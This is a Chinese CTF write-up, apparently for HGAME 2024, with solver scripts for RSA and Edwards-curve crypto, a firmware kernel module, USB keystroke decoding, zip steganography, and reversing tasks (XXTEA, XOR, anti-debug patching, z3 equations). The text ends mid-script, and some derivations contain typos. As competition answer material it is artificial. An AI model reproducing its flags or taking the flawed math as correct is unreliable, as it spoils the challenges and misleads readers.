Written by woshiluo.
给官方怎么交的我交原模原样发过来了，如有错误烦请各位大佬斧正。
Crypto
lastrsa
令 $f=p \operatorname{\texttt{xor}} (q>>13), t=2 \times 114512$。
给出了 $e_1 = \sum_{i=1}^{40} (ft)^i, e_2 = \sum_{i=1}^{40} (f+t)^i$。
其实这两个都是多项式啊。
不妨二项式定理展开，然后对两个多项式求 GCD，发现是一个一次方程，那么我们就得到了 $f$。
有了 $f$ 之后看看怎么得到 $p,q$。这个难度不太大，很容易注意到 $n$ 的最后 $k$ 位可以由 $p,q$ 的最低 $k$ 位决定，而 $f$ 又给出了 $p,q$ 中大多数位的关系。
考虑爆破 $q$ 的低 $13$ 位，然后向前递推即可。
n=136159501395608246592433283541763642196295827652290287729738751327141687762873360488671062583851846628664067117347340297084457474032286451582225574885517757497232577841944028986878525656103449482492190400477852995620473233002547925192690737520592206832895895025277841872025718478827192193010765543046480481871
enc1=2481998981478152169164378674194911111475668734496914731682204172873045273889232856266140236518231314247189371709204253066552650323964534117750428068488816244218804456399611481184330258906749484831445348350172666468738790766815099309565494384945826796034182837505953580660530809234341340618365003203562639721024
enc2=2892413486487317168909532087203213279451225676278514499452279887449096190436834627119161155437012153025493797437822039637248773941097619806471091066094500182219982742574131816371999183859939231601667171386686480639682179794271743863617494759526428080527698539121555583797116049103918578087014860597240690299394
l=13168452015078389807681744077701012683188749953280204324570483361963541298704796389757190180549802771265899020301416729606658667351017116721327316272373584
p=13167244882304693277785720567493996610066918256369682594482416913362069704726831109204371100970154866396462315730687841430922916219416627940866383413192931
q=10340773837858169661474323029012384377394391882332560606952494899463284596209932089793576041492039641919331765221984085549386070977506894068717765568920741
# Try to get start
# def get_mask( i ):
# return ( 1 << ( i + 1 ) ) - 1
# def try_both( i, p, q ):
# # l = p^(q>>13)
# if i == 512 - 13:
# t = 512 - 13
# highp = ( l >> t ) << t
# p |= highp
# q |= ( l ^ p ) << 13
# # assert len(bin(p)[2:])==512 and len(bin(q)[2:])==512
# if is_prime(p) and is_prime(q):
# print( i, p, q )
# return
# mask = get_mask(i)
# cur_n = n & mask
# cur_t = 1 << i
# s=( p >> i ) & 1
# t=( l >> i ) & 1
# for j in range(0,2):
# for k in range(0,2):
# if j:
# np = p | cur_t
# else:
# np = p
# if k:
# nq = q | cur_t
# else:
# nq = q
# if ( np * nq ) & mask == cur_n and ( np ^ ( nq >> 13 ) ) & get_mask(i-13) == ( l & get_mask(i-13) ):
# try_both( i + 1, np, nq )
#
# for p in range( 1 << 14 ):
# tq = 0
# flag = True
# for i in range(13):
# mask = ( 1 << ( i + 1 ) ) - 1
# cur_n = n & mask
# cur_t = 1 << i
# if ( ( tq | cur_t ) * p ) & mask == cur_n:
# tq |= cur_t
# elif ( tq * p ) & mask == cur_n:
# tq |= 0
# else:
# flag = False
# break
# if flag:
# try_both( 13, tq, p )
assert p * q == n
e=0x10001
c=87077759878060225287052106938097622158896106278756852778571684429767457761148474369973882278847307769690207029595557915248044823659812747567906459417733553420521047767697402135115530660537769991893832879721828034794560921646691417429690920199537846426396918932533649132260605985848584545112232670451169040592
phi = ( p - 1 ) * ( q - 1 )
d = gmpy2.invert( e, phi )
m=pow(c,d,n)
print(long_to_bytes(m))transmation
给定了一个曲线上的 4 个点。
给定 $e, eG$，求 $G$。
问题在于求 $G$ 的阶。
想要 $G$ 的阶，势必要知道曲线。
题目中有这么一行：
(u**2 + v**2 - c**2 * (1 + d * u**2*v**2)) % p == 0翻译一下：
$$
\begin{aligned}
x^2 + y^2 – c^2( 1 + dx^2y^2 ) & \equiv 0 \pmod p \\
x^2 + y^2 – c^2 + c^2dx^2y^2 & \equiv 0 \pmod p \\
\end{aligned}
$$
不妨假设存在 $(x_1,y_1)$, $(x_2,y_2)$ 两个点位于曲线 $E(c, d, p )$ 上。
那么我们就可以两个式子相减。
$$
\begin{aligned}
( x_1^2 + y_1^2 ) – ( x_2^2 + x_2^2 ) = cd^2( x_1^2y_1^2 – x_2^2y_2^2 ) \pmod p \\
\end{aligned}
$$
这个式子很好看，如果我知道 $p$，那么 $cd^2$ 就已知了。
但是我们不知道。
不妨令上式中
$$
\begin{aligned}
p_{1,2} & = ( x_1^2 + y_1^2 ) – ( x_2^2 + x_2^2 ) \\
q_{1,2} & = ( x_1^2y_1^2 – x_2^2y_2^2 )
\end{aligned}
$$
注意一下，$p_{i,j}$ 和 $p$ 是两个东西。
那么我们可以得到数个形如
$$
p_{i,j} = cd^2 \cdot q_{i,j} + k_{i,j}p
$$
的等式。
我们可以对两个等式的 $q_{i,j}$ 部分做类似辗转相除的东西，很容易发现最后大概率会得到一个形如：
$$
cd^2 + k’_{i,j}p = p’_{i,j}
$$
的式子。
也就是说，此时 $p’_{i,j}$ 定为 $p$ 的倍数。
多做几次求个 gcd 一般就得到了 $p$。或者直接拿一次的结果做去做分解也行。
剩下的就是不同曲线间的转化和求点的阶，这个不算复杂。
参照：https://www-fourier.univ-grenoble-alpes.fr/mphell/doc-v5/conversion_weierstrass_edwards.html
#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo <[email protected]>
#
# Distributed under terms of the GNU AGPLv3+ license.
from Crypto.Util.number import *
from sage.all import *
import gmpy2
mat = [
[423323064726997230640834352892499067628999846, 44150133418579337991209313731867512059107422186218072084511769232282794765835],
[612403241107575741587390996773145537915088133, 64560350111660175566171189050923672010957086249856725096266944042789987443125],
[875772166783241503962848015336037891993605823, 51964088188556618695192753554835667051669568193048726314346516461990381874317],
[1033433758780986378718784935633168786654735170, 2890573833121495534597689071280547153773878148499187840022524010636852499684],
[40198712137747628410430624618331426343875490261805137714686326678112749070113, 65008030741966083441937593781739493959677657609550411222052299176801418887407],
]
def get_c(i, j):
p=(mat[i][0]**2+mat[i][1]**2)-(mat[j][0]**2+mat[j][1]**2)
q=(mat[i][0]**2*mat[i][1]**2)-(mat[j][0]**2*mat[j][1]**2)
return (q,p)
def wtfgcd( p, q ):
dx1, c1 = p
dx2, c2 = q
if dx2 == 0:
return p
k = dx1 // dx2
np = ( dx2, c2 )
nq = ( dx1 - k * dx2, c1 - k * c2 )
res = wtfgcd( np, nq )
return res
def cipolla(n,p):
n %= p
if(n == 0 or n == 1):
return (n,-n%p)
phi = p - 1
if(pow(n, phi//2, p) != 1):
return ()
if(p%4 == 3):
ans = pow(n,(p+1)//4,p)
return (ans,-ans%p)
aa = 0
for i in range(1,p):
temp = pow((i*i-n)%p,phi//2,p)
if(temp == phi):
aa = i
break;
exponent = convertToBase((p+1)//2,2)
def cipollaMult(k,i,w,p):
(a,b) = k
(c,d) = i
return ((a*c+b*d*w)%p,(a*d+b*c)%p)
x1 = (aa,1)
x2 = cipollaMult(x1,x1,aa*aa-n,p)
for i in range(1,len(exponent)):
if(exponent[i] == 0):
x2 = cipollaMult(x2,x1,aa*aa-n,p)
x1 = cipollaMult(x1,x1,aa*aa-n,p)
else:
x1 = cipollaMult(x1,x2,aa*aa-n,p)
x2 = cipollaMult(x2,x2,aa*aa-n,p)
return (x1[0],-x1[0]%p)
# for i in range(5):
# for j in range(i,5):
# for k in range(5):
# for l in range(k,5):
# if i == j or k == l:
# continue;
# p1=get_c(j,i)
# p2=get_c(l,k)
#
# dx1, a1 = wtfgcd(p1,p2)
# if dx1 == 1:
# print(a1)
p=67943764351073247630101943221474884302015437788242536572067548198498727238923
d=8779982120820562807260290996171144226614358666469579196351820160975526615300
c=60799864652963819347231403856892915722262395658296749944775205023739430037843
# print(d)
# Curve = ( c, d, p )
def ison(C, P):
c, d, p = C
u, v = P
return (u**2 + v**2 - c**2 * (1 + d * u**2*v**2)) % p == 0
#
# def add(C, P, Q):
# c, d, p = C
# u1, v1 = P
# u2, v2 = Q
# assert ison(C, P) and ison(C, Q)
# u3 = (u1 * v2 + v1 * u2) * inverse(c * (1 + d * u1 * u2 * v1 * v2), p) % p
# v3 = (v1 * v2 - u1 * u2) * inverse(c * (1 - d * u1 * u2 * v1 * v2), p) % p
# return (int(u3), int(v3))
#
# def mul(C, P, m):
# assert ison(C, P)
# c, d, p = C
# B = bin(m)[2:]
# l = len(B)
# u, v = P
# PP = (-u, v)
# O = add(C, P, PP)
# Q = O
# if m == 0:
# return O
# elif m == 1:
# return P
# else:
# for _ in range(l-1):
# P = add(C, P, P)
# m = m - 2**(l-1)
# Q, P = P, (u, v)
# return add(C, Q, mul(C, P, m))
P = (423323064726997230640834352892499067628999846, 44150133418579337991209313731867512059107422186218072084511769232282794765835)
Q = (1033433758780986378718784935633168786654735170, 2890573833121495534597689071280547153773878148499187840022524010636852499684)
S = (875772166783241503962848015336037891993605823, 51964088188556618695192753554835667051669568193048726314346516461990381874317)
T = (612403241107575741587390996773145537915088133, 64560350111660175566171189050923672010957086249856725096266944042789987443125)
eG = (40198712137747628410430624618331426343875490261805137714686326678112749070113, 65008030741966083441937593781739493959677657609550411222052299176801418887407)
# R = (0, c)
# R = (1, 49758835847489900217902278669501664362583836292959100446678260808358431367765)
# R = (2, 30545040125055794664865543893237826733803510767094125702022046894476623858757)
# print(ison(Curve,R))
F=GF(p)
# To Normal Twist
d = F(d) * ( F(c)**4 )
def to_normal_twi(P):
x, y = P
return ( F(x) / F(c), F(y) / F(c) )
P = to_normal_twi(P)
Q = to_normal_twi(Q)
S = to_normal_twi(S)
T = to_normal_twi(T)
eG = to_normal_twi(eG)
# Twist. to Mont.
# https://www-fourier.univ-grenoble-alpes.fr/mphell/doc-v5/conversion_weierstrass_edwards.html
a = F(1)
A = F(2) * ( a + d ) / ( a - d )
B = F(4) / ( a - d )
def twi_to_mon(P):
u, v = P
return ( ( F(1) + F(v) ) / ( F(1) - F(v) ), ( F(1) + F(v) ) / ( ( F(1) - F(v) ) * F(u) ) )
def ed_to_mont(P):
x, y = P
u = F(1 + y) / F(1 - y)
v = 2*F(1 + y) / F(x*(1 - y))
return u,v
P = twi_to_mon(P)
Q = twi_to_mon(Q)
S = twi_to_mon(S)
T = twi_to_mon(T)
eG = twi_to_mon(eG)
def chk_mont(P):
x, y = P
assert B * y**2 == x**3 + A * x**2 + x
chk_mont(P)
chk_mont(Q)
chk_mont(S)
chk_mont(T)
chk_mont(eG)
def mont_to_wei(P):
x, y = P
return ( ( x + A / 3 ) / B, y / B )
P = mont_to_wei(P)
Q = mont_to_wei(Q)
S = mont_to_wei(S)
T = mont_to_wei(T)
eG = mont_to_wei(eG)
a = F( 1 / B**2 ) * F(1 - ( A ** 2 / 3) )
b = F( A / F( 3 * B**3 ) ) * F( 2 * A ** 2 / 9 - 1 )
def chk_wei(P):
x, y = P
assert y**2 == x**3 + a * x + b
chk_wei(P)
chk_wei(Q)
chk_wei(S)
chk_wei(T)
chk_wei(eG)
E = EllipticCurve(F, [a,b])
def to_EC(P):
x, y = P
return E(x,y)
P=to_EC(P)
Q=to_EC(Q)
S=to_EC(S)
T=to_EC(T)
eG=to_EC(eG)
o=eG.order()
G=gmpy2.invert(0x10001,o)*eG
print( gmpy2.invert(0x10001,o) )
print(G)
print(gx, gy)
print(0x10001*G)
print(eG)
flag = "hgame{" + hex(gx+gy)[2:] + "}"
print(flag)
p=67943764351073247630101943221474884302015437788242536572067548198498727238923
d=8779982120820562807260290996171144226614358666469579196351820160975526615300
c=60799864652963819347231403856892915722262395658296749944775205023739430037843
Curve = (c, d, p)
eG = (40198712137747628410430624618331426343875490261805137714686326678112749070113, 65008030741966083441937593781739493959677657609550411222052299176801418887407)
G=mul(Curve, eG,31389403316288817845192968641961118291285589666090945601379402870632024025483)
gx, gy = G
flag = "hgame{" + hex(gx+gy)[2:] + "}"
print(flag)IOT
ez7621
直接 binwalk 解包。
find flag
找到一个 kernel module。
直接逆向。
其实就是对 enc 异或了一个常数。
char str[] = ">17;3-ee44`3`a{`boe{b2fb{4`d4{bdg5aoog4d44+";
int main() {
#ifdef woshiluo
freopen( "tmp.in", "r", stdin );
freopen( "tmp.out", "w", stdout );
#endif
for( int i = 0; i < sizeof(str); i ++ )
printf( "%c", str[i] ^ 0x56 );
}Misc
ezKeyboard
基本上就对 USB 抓包。
查阅文档直接写脚本就行。
<?php
/**
* Short description for tmp.php
*
* @package tmp
* @author Woshiluo Luo <[email protected]>
* @version 0.1
* @copyright (C) 2024 Woshiluo Luo <[email protected]>
* @license GNU AGPLv3+
*/
$pkgs=json_decode(file_get_contents("./test.json"));
$keys = [
"04"=>"a", "05"=>"b", "06"=>"c", "07"=>"d", "08"=>"e",
"09"=>"f", "0a"=>"g", "0b"=>"h", "0c"=>"i", "0d"=>"j",
"0e"=>"k", "0f"=>"l", "10"=>"m", "11"=>"n", "12"=>"o",
"13"=>"p", "14"=>"q", "15"=>"r", "16"=>"s", "17"=>"t",
"18"=>"u", "19"=>"v", "1a"=>"w", "1b"=>"x", "1c"=>"y",
"1d"=>"z","1e"=>"1", "1f"=>"2", "20"=>"3", "21"=>"4",
"22"=>"5", "23"=>"6","24"=>"7","25"=>"8","26"=>"9",
"27"=>"0","28"=>"<RET>","29"=>"<ESC>","2a"=>"<DEL>", "2b"=>"\t",
"2c"=>"<SPACE>","2d"=>"-","2e"=>"=","2f"=>"[","30"=>"]","31"=>"\\",
"32"=>"<NON>","33"=>";","34"=>"'","35"=>"`","36"=>",","37"=>".",
"38"=>"/","39"=>"<CAP>","3a"=>"<F1>","3b"=>"<F2>", "3c"=>"<F3>","3d"=>"<F4>",
"3e"=>"<F5>","3f"=>"<F6>","40"=>"<F7>","41"=>"<F8>","42"=>"<F9>","43"=>"<F10>",
"44"=>"<F11>","45"=>"<F12>"
];
$shift_keys = [
"04"=>"A", "05"=>"B", "06"=>"C", "07"=>"D", "08"=>"E",
"09"=>"F", "0a"=>"G", "0b"=>"H", "0c"=>"I", "0d"=>"J",
"0e"=>"K", "0f"=>"L", "10"=>"M", "11"=>"N", "12"=>"O",
"13"=>"P", "14"=>"Q", "15"=>"R", "16"=>"S", "17"=>"T",
"18"=>"U", "19"=>"V", "1a"=>"W", "1b"=>"X", "1c"=>"Y",
"1d"=>"Z","1e"=>"!", "1f"=>"@", "20"=>"#", "21"=>"$",
"22"=>"%", "23"=>"^","24"=>"&","25"=>"*","26"=>"(","27"=>")",
"28"=>"<RET>","29"=>"<ESC>","2a"=>"<DEL>", "2b"=>"\t","2c"=>"<SPACE>",
"2d"=>"_","2e"=>"+","2f"=>"{","30"=>"}","31"=>"|","32"=>"<NON>","33"=>"\"",
"34"=>"=>","35"=>"~","36"=>"<","37"=>">","38"=>"?","39"=>"<CAP>","3a"=>"<F1>",
"3b"=>"<F2>", "3c"=>"<F3>","3d"=>"<F4>","3e"=>"<F5>","3f"=>"<F6>","40"=>"<F7>",
"41"=>"<F8>","42"=>"<F9>","43"=>"<F10>","44"=>"<F11>","45"=>"<F12>"];
$res = "";
$caps = false;
$has_cap = false;
$la = -1;
foreach( $pkgs as $pkg ) {
if( $pkg -> _source -> layers -> usb -> {'usb.src'} !== "1.2.3" )
continue;
$layers = $pkg -> _source -> layers;
$data = $layers -> {'usbhid.data'};
$hid_data = explode( ':', $data );
$p = 3;
while( $hid_data[ $p + 1 ] != 0 )
$p ++;
$shift = false;
if( $hid_data[1] == 2 )
$shift = true;
echo $data . " / ";
echo $hid_data[$p] . ":";
if( $hid_data[$p] === '00' ) {
$la = -1;
$has_cap = 0;
echo "\n";
continue;
}
$cur_cap = false;
$key=$keys[$hid_data[$p]];
for( $j = 3; $j <= $p; $j ++ ) {
echo $keys[$hid_data[$j]] . ":";
if( $keys[$hid_data[$j]] === '<CAP>' )
$cur_cap = true;
}
if( $cur_cap != $has_cap && $cur_cap ) {
$caps ^= 1;
$has_cap = $cur_cap;
echo "\n";
continue;
}
$has_cap = $cur_cap;
echo $has_cap . "/" . $caps . "\n";
if( $key == '<CAP>' )
continue;
if( $key >= 'a' && $key <= 'z' ) {
$is_upper = $caps ^ $shift;
if( $is_upper )
$res .= strtoupper($key);
else
$res .= $key;
}
else if( $key == '<DEL>' ) {
$res = substr( $res, 0, -1 );
}
else {
if( $shift )
$res .= $shift_keys[ $hid_data[ $p ] ];
else
$res .= $key;
}
}
echo $res;Maybezip
很明显的异或一个常数。
得到 zip。
注意到压缩包时间有规律，考虑直接按二进制解码最后一位。
解出来当密码。
解压。
得到很长一段神秘数字。
注意到密码中的 tupper。
有请 https://tuppers-formula.ovh/
得到一个神似二维码的东西。
但是不太是。
猜测是 micro qrcode。
扫描得到 flag。
Reverse
again!
这个题目是真不懂。
观察 bin2，注意到按 32 位循环，然后有所修改。
异或了一下前两位发现 MZ。直接异或下来一整串。
果然是个 exe，扔进 IDA 发现就是个 xxtea，解密即可。
题外话：其实我逆了 pyc，但是实在没看出来和上面有什么关系。
#include <cstdio>
#include <cstdint>
#define DELTA 0x7937B99E
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
void btea(uint32_t* v, int n, uint32_t const key[4]) {
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) { /* Coding Part */
rounds = /*6 + */52 / n;
sum = 0;
z = v[n - 1];
do {
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++) {
y = v[p + 1];
z = v[p] += MX;
}
y = v[0];
z = v[n - 1] += MX;
} while (--rounds);
}
else if (n < -1) { /* Decoding Part */
n = -n;
rounds = 12;
sum = rounds * DELTA;
y = v[0];
do {
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--) {
z = v[p - 1];
y = v[p] -= MX;
}
z = v[n - 1];
y = v[0] -= MX;
} while ((sum -= DELTA) != 0);
}
}
unsigned char enc[] =
{
0xC3, 0xB5, 0x6F, 0x50, 0x45, 0x8F, 0x35, 0xB9, 0xC7, 0xE8,
0x1A, 0xC9, 0x80, 0xE2, 0x20, 0x38, 0x83, 0xBA, 0x3A, 0xD1,
0x54, 0xF5, 0x5C, 0x97, 0x6B, 0x03, 0x52, 0x43, 0x47, 0x04,
0xD2, 0x1C
};
int main() {
uint32_t key[4];
key[0] = 4660;
key[1] = 9025;
key[2] = 13330;
key[3] = 16675;
btea( (uint32_t*) enc, -8, key );
char *p = (char*)enc;
for( int i = 0; i < 32; i ++ )
printf( "%c", p[i] );
}change
两个函数交替按位加密。
/*
* tmp.cpp 2024-02-27
* Copyright (C) 2024 Woshiluo Luo <[email protected]>
*
* 「Two roads diverged in a wood,and I—
* I took the one less traveled by,
* And that has made all the difference.」
*
* Distributed under terms of the GNU GNU AGPLv3+ license.
*/
#include <cstdio>
#include <cstdint>
#include <cstring>
#include <cstdlib>
#include <vector>
#include <algorithm>
using i32 = int32_t;
using u32 = uint32_t;
using ci32 = const int32_t;
using cu32 = const uint32_t;
using i64 = int64_t;
using u64 = uint64_t;
using ci64 = const int64_t;
using cu64 = const uint64_t;
inline bool isdigit( const char cur ) { return cur >= '0' && cur <= '9'; }/*{{{*/
template <class T>
T Max( T a, T b ) { return a > b? a: b; }
template <class T>
T Min( T a, T b ) { return a < b? a: b; }
template <class T>
void chk_Max( T &a, T b ) { if( b > a ) a = b; }
template <class T>
void chk_Min( T &a, T b ) { if( b < a ) a = b; }
template <typename T>
T read() {
T sum = 0, fl = 1;
char ch = getchar();
for (; isdigit(ch) == 0; ch = getchar())
if (ch == '-') fl = -1;
for (; isdigit(ch); ch = getchar()) sum = sum * 10 + ch - '0';
return sum * fl;
}
template <class T>
T pow( T a, i32 p ) {
T res = 1;
while( p ) {
if( p & 1 )
res = res * a;
a = a * a;
p >>= 1;
}
return res;
}/*}}}*/
const char key[] = "am2qasl";
unsigned char enc[] =
{
0x13, 0x0A, 0x5D, 0x1C, 0x0E, 0x08, 0x23, 0x06, 0x0B, 0x4B,
0x38, 0x22, 0x0D, 0x1C, 0x48, 0x0C, 0x66, 0x15, 0x48, 0x1B,
0x0D, 0x0E, 0x10, 0x4F, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00,
0x00, 0x00
};
int main() {
#ifdef woshiluo
freopen( "tmp.in", "r", stdin );
freopen( "tmp.out", "w", stdout );
#endif
const int lk = strlen(key);
for( int i = 0; i < (int)sizeof(enc); i ++ ) {
if( i % 2 ) {
enc[i] ^= key[ i % lk ];
}
else {
enc[i] -= 10;
enc[i] ^= key[ i % lk ];
}
}
for( int i = 0; i < (int)sizeof(enc); i ++ ) {
printf( "%c", enc[i] );
}
}crackme2
很明显的异常处理和反调试。
patch 反调试，拖进 x64dbg，导出内存，逆向，得到一车等式。
直接解速度很慢，发现位运算只有左移，替换成乘法，秒出结果。
#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo <[email protected]>
#
# Distributed under terms of the GNU AGPLv3+ license.
from z3 import *
a_0 = Int('a_0' )
a_1 = Int('a_1' )
a_2 = Int('a_2' )
a_3 = Int('a_3' )
a_4 = Int('a_4' )
a_5 = Int('a_5' )
a_6 = Int('a_6' )
a_7 = Int('a_7' )
a_8 = Int('a_8' )
a_9 = Int('a_9' )
a_10 = Int('a_10')
a_11 = Int('a_11')
a_12 = Int('a_12')
a_13 = Int('a_13')
a_14 = Int('a_14')
a_15 = Int('a_15')
a_16 = Int('a_16')
a_17 = Int('a_17')
a_18 = Int('a_18')
a_19 = Int('a_19')
a_20 = Int('a_20')
a_21 = Int('a_21')
a_22 = Int('a_22')
a_23 = Int('a_23')
a_24 = Int('a_24')
a_25 = Int('a_25')
a_26 = Int('a_26')
a_27 = Int('a_27')
a_28 = Int('a_28')
a_29 = Int('a_29')
a_30 = Int('a_30')
a_31 = Int('a_31')
v1 = a_25;
v2 = a_21;
v3 = a_31;
v4 = a_29;
v5 = a_0;
v6 = a_23;
v7 = a_8;
v8 = a_28;
v9 = a_12;
v10 = a_3;
v11 = a_2;
v19 = a_30;
v15 = a_18;
v16 = a_24;
v27 = a_11;
v17 = a_26;
v30 = a_14;
v40 = a_7;
v26 = a_20;
v37 = 2 * v26;
v42 = a_22;
v28 = a_1;
v25 = a_27;
v21 = a_19;
v23 = a_16;
v31 = a_13;
v29 = a_10;
v41 = a_5;
v24 = a_4;
v20 = a_15;
v39 = a_17;
v22 = a_6;
v18 = a_9;
s=Solver()
v37 = 2 * v26
s.add( v18 + 201 * v24 + 194 * v10 + 142 * v20 + 114 * v39 + 103 * v11 + 52 * (v17 + v31) + ((v9 + v23) * 64) + 14 * (v21 + 4 * v25 + v25) + 9 * (v40 + 23 * v27 + v2 + 3 * v1 + 4 * v2 + 4 * v6) + 5 * (v16 + 23 * v30 + 2 * (v3 + 2 * v19) + 5 * v5 + 39 * v15 + 51 * v4) + 24 * (v8 + 10 * v28 + 4 * (v42 + v7 + 2 * v26)) + 62 * v22 + 211 * v41 + 212 * v29 == 296473 )
v38 = 2 * v16
s.add( 207 * v41 + 195 * v22 + 151 * v40 + 57 * v5 + 118 * v6 + 222 * v42 + 103 * v7 + 181 * v8 + 229 * v9 + 142 * v31 + 51 * v29 + 122 * (v26 + v20) + 91 * (v2 + 2 * v16) + 107 * (v27 + v25) + 81 * (v17 + 2 * v18 + v18) + 45 * (v19 + 2 * (v11 + v24) + v11 + v24) + 4 * (3 * (v23 + a_19 + 2 * v23 + 5 * v4) + v39 + 29 * (v10 + v1) + 25 * v15) + 26 * v28 + 101 * v30 + 154 * v3 == 354358 )
s.add( 177 * v40 + 129 * v26 + 117 * v42 + 143 * v28 + 65 * v8 + 137 * v25 + 215 * v21 + 93 * v31 + 235 * v39 + 203 * v11 + 15 * (v7 + 17 * v30) + 2 * (v24 + 91 * v9 + 95 * v29 + 51 * v41 + 81 * v20 + 92 * v18 + 112 * (v10 + v6) + 32 * (v22 + 2 * (v1 + v23)) + 6 * (v2 + 14 * v16 + 19 * v15) + 83 * v5 + 53 * v4 + 123 * v19) + v17 + 175 * v27 + 183 * v3 == 448573 )
s.add( 113 * v19 + 74 * v3 + 238 * v6 + 140 * v2 + 214 * v26 + 242 * v8 + 160 * v21 + 136 * v23 + 209 * v9 + 220 * v31 + 50 * v24 + 125 * v10 + 175 * v20 + 23 * v39 + 137 * v22 + 149 * v18 + 83 * (v4 + 2 * v30) + 21 * (9 * v29 + v16) + 59 * (4 * v27 + v17) + 41 * (v1 + v41) + 13 * (v7 + 11 * (v40 + v15) + 6 * v42 + 4 * (v28 + 2 * v11) + v28 + 2 * v11 + 17 * v5) + 36 * v25 == 384306 )
s.add( 229 * v21 + 78 * v1 + v2 + v9 + 133 * v27 + 74 * v6 + 69 * v26 + 243 * v7 + 98 * v28 + 253 * v8 + 142 * v25 + 175 * v31 + 105 * v41 + 221 * v10 + 121 * v39 + 218 * (v19 + v29) + 199 * (v24 + v30) + 33 * (v40 + 7 * v17) + 4 * (27 * v20 + 50 * v11 + 45 * v18 + 19 * (v3 + v42) + v16 + 16 * v23 + 52 * v4) + 195 * v22 + 211 * v5 + 153 * v15 == 424240 )
s.add( 181 * v25 + 61 * v2 + 65 * v21 + 58 * v31 + 170 * v29 + 143 * v24 + 185 * v10 + 86 * v11 + 97 * v22 + 235 * (v23 + v27) + 3 * (53 * v41 + 74 * (v8 + v3) + 13 * (v42 + 6 * v9) + 11 * (v39 + 7 * v20) + 15 * (v18 + 4 * v17) + v7 + 35 * v1 + 29 * v15) + 4 * (57 * v6 + 18 * (v5 + v37) + v28 + 17 * v16 + 55 * v30) + 151 * v40 + 230 * v4 + 197 * v19 == 421974 )
v33 = 2 * v41
s.add( 209 * v21 + 249 * v30 + 195 * v2 + 219 * v25 + 201 * v39 + 85 * v18 + 213 * (v17 + v31) + 119 * (v11 + 2 * v41) + 29 * (8 * v24 + v40 + 4 * v27 + v27) + 2 * (v8 + 55 * (2 * v29 + v19) + 3 * (v10 + 39 * v9 + 2 * (v6 + 20 * v20) + 35 * v7) + 4 * (v5 + 31 * v42 + 28 * v3) + 26 * v28 + 46 * (v37 + v16) + 98 * v1) + 53 * v23 + 171 * v15 + 123 * v4 == 442074 )
v32 = 2 * v18
s.add( 162 * v19 + 74 * v5 + 28 * v27 + 243 * v42 + 123 * v28 + 73 * v8 + 166 * v23 + 94 * v24 + 113 * v11 + 193 * v22 + 122 * (v6 + 2 * v7) + 211 * (v10 + v25) + 21 * (v17 + 7 * v41) + 11 * (v4 + 23 * (v16 + v39) + 2 * (v40 + 5 * v30 + 2 * (2 * v18 + v29) + 2 * v18 + v29)) + 5 * (46 * v9 + 26 * v20 + 4 * (v31 + 2 * v21) + v15 + 27 * v2 + 10 * v1) + 36 * (v3 + 5 * v26) == 376007 )
v35 = v25 + v30
s.add( 63 * v19 + 143 * v5 + 250 * v6 + 136 * v2 + 214 * v40 + 62 * v26 + 221 * v42 + 226 * v7 + 171 * v28 + 178 * v8 + 244 * v23 + (v9 * 128) + 150 * v31 + 109 * v29 + 70 * v41 + 127 * v20 + 204 * v39 + 121 * v22 + 173 * v18 + 69 * (v25 + v30 + v27) + 74 * (v16 + 2 * v15 + v15) + 22 * (7 * v24 + v17 + 10 * v11) + 40 * (v1 + 4 * v21 + v21) + 81 * v10 + 94 * v4 + 84 * v3 == 411252 )
s.add( 229 * v15 + 121 * v4 + 28 * v30 + 206 * v16 + 145 * v27 + 41 * v1 + 247 * v6 + 118 * v26 + 241 * v28 + 79 * v8 + 102 * v25 + 124 * v23 + 65 * v9 + 68 * v31 + 239 * v17 + 148 * v24 + 245 * v39 + 115 * v11 + 163 * v22 + 137 * v18 + 53 * (v5 + 2 * v29) + 126 * (v40 + 2 * v10) + 38 * (v7 + v21 + 4 * v7 + 6 * v41) + 12 * (v2 + 16 * v42) + 109 * v20 + 232 * v3 + 47 * v19 == 435012 )
s.add( 209 * v21 + 233 * v40 + 93 * v1 + 241 * v2 + 137 * v8 + 249 * v17 + 188 * v29 + 86 * v24 + 246 * v10 + 149 * v20 + 99 * v11 + 37 * v22 + 219 * v18 + 17 * (v6 + 10 * v25) + 49 * (v5 + 3 * v3 + 4 * v28 + v28) + 5 * (16 * v39 + 11 * (v41 + 2 * v27 + v27) + 12 * v7 + v31 + 30 * v16 + 27 * v19) + 18 * (v23 + 2 * (v4 + v26 + 2 * v4) + v4 + v26 + 2 * v4) + 24 * v9 + 109 * v42 + 183 * v30 + 154 * v15 == 392484 )
v34 = 2 * v31
s.add( 155 * v15 + 247 * v40 + 157 * v28 + 119 * v23 + 161 * v17 + 133 * v20 + 85 * v22 + 229 * (v7 + v24) + 123 * (2 * v31 + v42) + 21 * (v41 + 12 * v30) + 55 * (v9 + v5 + v18 + 2 * v5) + 15 * (v3 + 16 * v10 + 9 * v21) + 2 * (v2 + 115 * v29 + 111 * v16 + 26 * v6 + 88 * v8 + 73 * v39 + 71 * v11 + 28 * (v26 + 2 * (v25 + 2 * v1)) + 51 * v27 + 99 * v4 + 125 * v19) == 437910 )
s.add( 220 * v3 + 200 * v4 + 139 * v15 + 33 * v5 + 212 * v30 + 191 * v16 + 30 * v27 + 233 * v1 + 246 * v6 + 89 * v2 + 252 * v40 + 223 * v42 + 19 * v25 + 141 * v21 + 163 * v9 + 185 * v17 + 136 * v31 + 46 * v24 + 109 * v10 + 217 * v39 + 75 * v22 + 157 * v18 + 125 * (v11 + v19) + 104 * (v33 + v20) + 43 * (v28 + 2 * v29 + v29) + 32 * (v8 + v7 + 2 * v8 + 2 * (v23 + v26)) == 421905 )
